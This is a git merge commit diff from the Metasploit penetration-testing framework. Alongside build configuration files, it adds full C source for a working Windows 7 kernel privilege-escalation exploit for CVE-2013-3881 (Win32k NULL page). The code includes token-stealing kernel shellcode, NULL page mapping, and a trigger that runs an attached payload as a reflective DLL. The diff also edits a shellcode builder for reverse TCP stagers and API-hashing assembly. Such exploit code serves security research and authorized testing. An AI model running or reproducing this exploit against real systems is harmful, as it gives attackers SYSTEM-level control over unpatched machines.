Merge pull request #38 from jvazquez-r7/review_2903

Solve conflicts
bug/bundler_fix
Meatballs1 2014-02-13 17:16:13 +00:00
commit d0b87f0e55
365 changed files with 6518 additions and 2302 deletions

View File

@ -1,9 +1,11 @@
language: ruby
env: MSF_SPOTCHECK_RECENT=1
before_install:
- rake --version
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
before_script:
- ./tools/msftidy.rb
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
- bundle exec rake db:create

Binary file not shown.

View File

@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){
} else if (platform.match(/arm/)) {
// Android and maemo
arch = arch_armle;
if (navigator.userAgent.match(/android/i)) {
os_flavor = 'Android';
}
}
} else if (platform.match(/windows/)) {
os_name = oses_windows;

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,261 @@
/*
* Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability
* Date: February 5, 2014
* Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
* Exploit Author: Spencer McIntyre
* Version: Windows 7 SP0/SP1
* Tested on: Windows 7 SP0/SP1
* CVE-2013-3881 MS13-081
* References:
* http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html
* http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html
* http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define TABLE_BASE 0xff910000
static const char* window_class_name = "PWN_CLASS";
static HWND window0 = NULL;
static HWND window1 = NULL;
static HDESK desktop = NULL;
const unsigned char shellcode[] =
"\x33\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124]
"\x8b\x40\x50" // mov eax, ds:[eax+0x50]
"\x8b\xc8" // mov ecx, eax
/* LOOPTHROUGHPROCESSES */
"\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4
"\x75\xec" // jnz short LOOPTHROUGHPROCESSES
"\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8]
"\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx
/* Epilog Part 1: Uncorrupt HANDLEENTRY */
"\xbe\x00\x08\x00\x00" // mov esi, 0x0800
"\x8b\x3e" // mov edi, [esi]
"\x8b\x46\x04" // mov eax, [esi+4]
"\x89\x07" // mov [edi], eax
"\x8b\x46\x08" // mov eax, [esi+8]
"\x89\x47\x04" // mov [edi + 4], eax
"\x8b\x46\x0c" // mov eax, [esi+c]
"\x89\x47\x08" // mov [edi+8], eax
/* Epilog Part 2: Return to xxxTrackPopupMenuEx */
"\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0
"\x74\x11" // je short sp1
"\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1
"\x75\x0a" // je short sp1
/* Service Pack 0 */
"\x83\xc4\x48" // add esp, 0x48
"\x5f" // pop edi
"\x5e" // pop esi
"\x5b" // pop ebx
"\x5d" // pop ebp
"\xc2\x04\x00" // ret 4
/* Service Pack 1 */
"\x83\xc4\x4c" // add esp 0x4c
"\x5f" // pop edi
"\x5e" // pop esi
"\x83\xc4\x0c" // add esp, 0x0c
"\x5d" // pop ebp
"\xc2\x08\x00"; // ret 8
typedef struct _HANDLEENTRY {
struct _HEAD *pHead;
void *pOwner;
UINT8 bType;
UINT8 bFlags;
UINT16 wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)(
IN DWORD ProfileSource,
OUT PULONG Interval
);
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
return DefWindowProc(hwnd, msg, wParam, lParam);
}
NTSTATUS AllocateNullPage(void) {
HMODULE hNtdll = NULL;
FARPROC pNtAllocateVirtualMemory = NULL;
DWORD base_address = 1;
SIZE_T region_size = 0x1000;
ULONG zero_bits = 0;
HANDLE current_process = NULL;
NTSTATUS status = 0;
hNtdll = LoadLibraryA("ntdll");
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
current_process = GetCurrentProcess();
status = pNtAllocateVirtualMemory(current_process, &base_address, 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE);
FreeLibrary(hNtdll);
return status;
}
PHANDLEENTRY GetAheList(void) {
HMODULE hUser32 = NULL;
HANDLEENTRY **tagSharedInfo = NULL;
hUser32 = LoadLibraryA("user32");
tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo");
if (tagSharedInfo == NULL) {
return NULL;
}
return (PHANDLEENTRY)*&tagSharedInfo[1];
}
DWORD WINAPI TriggerThread0(void *garbage) {
HMENU menu0;
SetThreadDesktop(desktop);
window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
menu0 = CreatePopupMenu();
if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
return 0;
}
TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL);
return 0;
}
BOOL WINAPI CreateAndRegisterClass(char * class_name) {
WNDCLASSEX wx;
HINSTANCE hInstance = NULL;
hInstance = (HINSTANCE)GetModuleHandle(NULL);
if (hInstance == NULL) {
return FALSE;
}
wx.cbSize = sizeof(WNDCLASSEX);
wx.style = 0;
wx.lpfnWndProc = WndProc;
wx.cbClsExtra = 0;
wx.cbWndExtra = 0;
wx.hInstance = hInstance;
wx.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wx.hCursor = LoadCursor(NULL, IDC_ARROW);
wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wx.lpszMenuName = NULL;
wx.lpszClassName = class_name;
wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (RegisterClassEx(&wx) != 0) {
return TRUE;
}
return FALSE;
}
DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
void Win32kNullPage(LPVOID lpPayload) {
HMENU menu1 = NULL;
HMENU menu2 = NULL;
HANDLE gdi_handle = NULL;
void *promise_land = NULL;
ULONG interval = 0;
PHANDLEENTRY aheList = NULL;
PHANDLEENTRY target_handle = NULL;
DWORD saved_bytes = 0;
desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(desktop);
if (!CreateAndRegisterClass(window_class_name)) {
return;
}
if (AllocateNullPage() != STATUS_SUCCESS) {
return;
}
*((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */
*((PDWORD)promise_land + 1) = 0x90909090; /* noooop */
*((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */
*((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */
*((PDWORD)promise_land + 7) = 0x00;
*((PDWORD)promise_land + 9) = 0x00;
*((PDWORD)promise_land + 12) = 0x00;
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));
window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
menu1 = CreatePopupMenu();
menu2 = CreateMenu();
SetMenu(window1, menu2);
DestroyMenu(menu2);
aheList = GetAheList();
*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
*((PDWORD)promise_land + 128) = 0x01;
*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;
target_handle = &aheList[((DWORD)menu2 & 0xffff)];
*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));
if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
return;
}
do {
gdi_handle = CreateMetaFile(NULL);
} while (gdi_handle != NULL);
CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
Sleep(500);
TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL) {
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
Win32kNullPage(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
};

View File

@ -0,0 +1,85 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
<RootNamespace>cve20133881</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<CompileAs>Default</CompileAs>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>false</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="cve-2013-3881.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,17 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\cve-2013-3881.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86" />
<Target Name="x86">
<Message Text="Building CVE-2013-3881 win32k_null_page x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="CVE-2013-3881 is not supported in x64" />
</Target>
</Project>

View File

@ -40,6 +40,13 @@ IF "%ERRORLEVEL%"=="0" (
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2013-3881 (win32k_null_page)"
PUSHD CVE-2013-3881
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%

View File

@ -1,124 +1,128 @@
#=============================================================================#
# A simple python build script to build the singles/stages/stagers and
# some usefull information such as offsets and a hex dump. The binary output
# will be placed in the bin directory. A hex string and usefull comments will
# be printed to screen.
#
# Example:
# >python build.py stager_reverse_tcp_nx
#
# Example, to build everything:
# >python build.py all > build_output.txt
#
# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
#=============================================================================#
import os, sys, time
from subprocess import Popen
from struct import pack
#=============================================================================#
def clean( dir="./bin/" ):
for root, dirs, files in os.walk( dir ):
for name in files:
os.remove( os.path.join( root, name ) )
#=============================================================================#
def locate( src_file, dir="./src/" ):
for root, dirs, files in os.walk( dir ):
for name in files:
if src_file == name:
return root
return None
#=============================================================================#
def build( name ):
location = locate( "%s.asm" % name )
if location:
input = os.path.normpath( os.path.join( location, name ) )
output = os.path.normpath( os.path.join( "./bin/", name ) )
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
p.wait()
xmit( name )
else:
print "[-] Unable to locate '%s.asm' in the src directory" % name
#=============================================================================#
def xmit_dump_ruby( data, length=16 ):
dump = ""
for i in xrange( 0, len( data ), length ):
bytes = data[ i : i+length ]
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
if i+length <= len(data):
hex += " +"
dump += "%s\n" % ( hex )
print dump
#=============================================================================#
def xmit_offset( data, name, value ):
offset = data.find( value );
if offset != -1:
print "# %s Offset: %d" % ( name, offset )
#=============================================================================#
def xmit( name, dump_ruby=True ):
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
f = open( bin, 'rb')
data = f.read()
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
xmit_offset( data, "RetryCounter", "\x6a\x05" ) # socket retry
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
xmit_offset( data, "Hostname", "https" )
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
xmit_offset( data, "XORKey", "XORK") # XOR key
if( name.find( "egghunter" ) >= 0 ):
null_count = data.count( "\x00" )
if( null_count > 0 ):
print "# Note: %d NULL bytes found." % ( null_count )
if dump_ruby:
xmit_dump_ruby( data )
#=============================================================================#
def main( argv=None ):
if not argv:
argv = sys.argv
try:
if len( argv ) == 1:
print "Usage: build.py [clean|all|<name>]"
else:
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
if argv[1] == "clean":
clean()
elif argv[1] == "all":
for root, dirs, files in os.walk( "./src/egghunter/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/migrate/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/single/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stage/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stager/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/kernel/" ):
for name in files:
build( name[:-4] )
else:
build( argv[1] )
except Exception, e:
print "[-] ", e
#=============================================================================#
if __name__ == "__main__":
main()
# A simple python build script to build the singles/stages/stagers and
# some usefull information such as offsets and a hex dump. The binary output
# will be placed in the bin directory. A hex string and usefull comments will
# be printed to screen.
#
# Example:
# >python build.py stager_reverse_tcp_nx
#
# Example, to build everything:
# >python build.py all > build_output.txt
#
# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
#=============================================================================#
import os, sys, time
from subprocess import Popen
from struct import pack
#=============================================================================#
def clean( dir="./bin/" ):
for root, dirs, files in os.walk( dir ):
for name in files:
os.remove( os.path.join( root, name ) )
#=============================================================================#
def locate( src_file, dir="./src/" ):
for root, dirs, files in os.walk( dir ):
for name in files:
if src_file == name:
return root
return None
#=============================================================================#
def build( name ):
location = locate( "%s.asm" % name )
if location:
input = os.path.normpath( os.path.join( location, name ) )
output = os.path.normpath( os.path.join( "./bin/", name ) )
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
p.wait()
xmit( name )
else:
print "[-] Unable to locate '%s.asm' in the src directory" % name
#=============================================================================#
def xmit_dump_ruby( data, length=16 ):
dump = ""
for i in xrange( 0, len( data ), length ):
bytes = data[ i : i+length ]
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
if i+length <= len(data):
hex += " +"
dump += "%s\n" % ( hex )
print dump
#=============================================================================#
def xmit_offset( data, name, value, match_offset=0 ):
offset = data.find( value );
if offset != -1:
print "# %s Offset: %d" % ( name, offset + match_offset )
#=============================================================================#
def xmit( name, dump_ruby=True ):
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
f = open( bin, 'rb')
data = f.read()
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
xmit_offset( data, "RetryCounter", "\x6a\x05", 1 ) # socket retry
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
xmit_offset( data, "Hostname", "https" )
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
xmit_offset( data, "XORKey", "XORK") # XOR key
if( name.find( "egghunter" ) >= 0 ):
null_count = data.count( "\x00" )
if( null_count > 0 ):
print "# Note: %d NULL bytes found." % ( null_count )
if dump_ruby:
xmit_dump_ruby( data )
#=============================================================================#
def main( argv=None ):
if not argv:
argv = sys.argv
try:
if len( argv ) == 1:
print "Usage: build.py [clean|all|<name>]"
else:
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
if argv[1] == "clean":
clean()
elif argv[1] == "all":
for root, dirs, files in os.walk( "./src/egghunter/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/migrate/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/single/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stage/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stager/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/kernel/" ):
for name in files:
build( name[:-4] )
else:
build( argv[1] )
except Exception, e:
print "[-] ", e
#=============================================================================#
if __name__ == "__main__":
main()
#=============================================================================#

View File

@ -23,7 +23,7 @@ api_call:
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
@ -34,22 +34,25 @@ loop_modname: ;
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to itterate the export address table,
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+24] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
@ -66,14 +69,15 @@ loop_funcname: ;
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
cmp edi, [ebp+36] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
